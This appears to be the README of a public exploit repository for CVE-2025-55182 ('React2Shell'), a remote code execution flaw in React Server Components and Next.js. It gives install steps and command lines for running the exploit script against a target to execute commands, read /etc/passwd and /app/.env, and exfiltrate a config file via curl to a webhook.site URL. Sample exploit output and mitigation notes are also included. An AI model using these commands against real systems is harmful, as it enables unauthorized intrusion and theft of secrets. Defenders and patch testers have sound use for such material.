Share
## https://sploitus.com/exploit?id=5627E1B1-B9E5-5AF3-83BC-05AEC20954EC
# ๐จ CVE-2025-55182 "React2Shell" โ Critical RCE in React Server Components
[](https://www.python.org/)
[](LICENSE)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[]()
**Critical deserialization vulnerability in React Server Components leading to Remote Code Execution**
## ๐ Table of Contents
- [๐ Overview](#-overview)
- [โก Quick Start](#-quick-start)
- [๐ฏ Affected Systems](#-affected-systems)
- [๐ง Usage Examples](#-usage-examples)
- [๐ Project Structure](#-project-structure)
- [๐ก๏ธ Mitigation Strategies](#๏ธ-mitigation-strategies)
- [โ ๏ธ Legal Disclaimer](#๏ธ-legal-disclaimer)
- [๐ References](#-references)
## ๐ Overview
CVE-2025-55182, dubbed "React2Shell", is a critical security vulnerability in **React Server Components (RSC)** that allows **unauthenticated remote code execution** through unsafe deserialization of server-side React components.
### ๐ Technical Details
| Aspect | Details |
|--------|---------|
| **CVSS Score** | 10.0 (Critical) |
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | None |
| **User Interaction** | None |
| **Impact** | Confidentiality, Integrity, Availability |
### ๐ฅ Impact Assessment
Remote Code Execution
Data Exfiltration
System Compromise
## โก Quick Start
### Prerequisites
- Python 3.8 or higher
- Network access to target system (authorized testing only)
### Installation
```bash
# Clone the repository
git clone https://github.com/m3m0ryc0rrupt/CVE-2025-55182-PoC.git
cd CVE-2025-55182-PoC
# Install dependencies
python -m venv venv
source venv/bin/activate #Linux
venv\Scripts\activate #Windows
pip install -r requirements.txt
```
### Basic Usage
```bash
# Check if system is vulnerable
python CVE-2025-55182.py https://target.com "whoami"
# Read sensitive files
python CVE-2025-55182.py https://target.com "cat /etc/passwd"
```
## ๐ฏ Affected Systems
### โ
Vulnerable
- React Server Components implementations
- Next.js (App Router + RSC)
- Vite RSC plugins
- Parcel RSC tools
- Redwood, Waku, and other RSC-based frameworks
### โ Not Affected
- Pure client-side React applications
- Applications not using Server Components
- Traditional SSR without RSC
## ๐ง Usage Examples
### Basic Command Execution
```bash
# System information
./CVE-2025-55182.py https://target.com "uname -a"
./CVE-2025-55182.py https://target.com "id"
# File operations
./CVE-2025-55182.py https://target.com "cat /app/.env"
./CVE-2025-55182.py https://target.com "ls -la /var/www"
# Data exfiltration
./CVE-2025-55182.py https://target.com "curl -X POST https://webhook.site/YOUR-ID -d @/app/config.json"
```
### Expected Output
When successful, you'll see:
```bash
$ ./CVE-2025-55182.py https://target.com "whoami"
โโโโโโโ โโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโ โโโ โโโโโโโ โโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ โโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โ โ โโโโโโโโโโโ โโโโโโ
โโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โ โ โโโโโโโโโโโ โโโโโโ
โโโ โโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโ โโโ โโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโโโโโโ โโโ โโโโโโโ โโโ โโโ โโโ โโโโโโโโโโโโโโโ
CVE-2025-55182 โฎ Unauthenticated RCE
Next.js + React Server Components = root shell
[+] CVE-2025-55182 Exploit
[+] Target : https://target.com
[+] Command : whoami
[+] Sending payload ...
[+] Payload delivered successfully!
[+] HTTP 200 โ Command executed on server
[+] Server response:
node
```
## ๐ Project Structure
```
CVE-2025-55182/
โโโ ๐ README.md # This documentation
โโโ ๐ CVE-2025-55182.py # Main RCE exploit
โโโ ๐ requirements.txt # Python dependencies
```
### Exploit Workflow
```mermaid
sequenceDiagram
participant A as Attacker
participant V as Vulnerable System
participant E as Exploit Chain
A->>V: 1. Send Malformed RSC Payload
V->>E: 2. Unsafe Deserialization Trigger
E->>V: 3. Code Execution via eval()
V->>A: 4. Return Command Output
```
## ๐ก๏ธ Mitigation Strategies
### Immediate Actions
1. **Patch Immediately**
- Update React to patched versions
- Upgrade Next.js or RSC frameworks
2. **Security Audits**
```bash
npm audit
yarn audit
pnpm audit
```
3. **Temporary Measures** (not substitutes for patching)
- Implement WAF rules blocking RSC serialization patterns
- Add request validation middleware
- Monitor for suspicious payloads
### Long-term Protection
- Implement proper input validation
- Use safe serialization libraries
- Regular dependency updates
- Security scanning in CI/CD
## โ ๏ธ Legal Disclaimer
**โ ๏ธ WARNING: FOR AUTHORIZED SECURITY TESTING ONLY โ ๏ธ**
This Proof of Concept is provided for **educational purposes and authorized security testing only**.
### ๐ซ Strictly Prohibited:
- Testing systems without explicit written permission
- Use in production environments without authorization
- Any illegal or malicious activities
### โ
Permitted Use:
- Testing your own systems and applications
- Authorized penetration testing engagements
- Bug bounty programs within scope
- Security research in controlled environments
**You are solely responsible for ensuring compliance with all applicable laws and regulations.**
## ๐ References
- [CVE-2025-55182 Official Entry](https://vulners.com/cve/CVE-2025-55182)
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js Security Updates](https://nextjs.org/blog/security)
- [NVD Vulnerability Database](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
## ๐ Contact & Reporting
Found a vulnerable system? **Responsibly disclose** to the affected organization's security team.
---
**Remember: With great power comes great responsibility. Use this knowledge to make the web safer for everyone.**
โญ If you found this useful, consider starring the repository!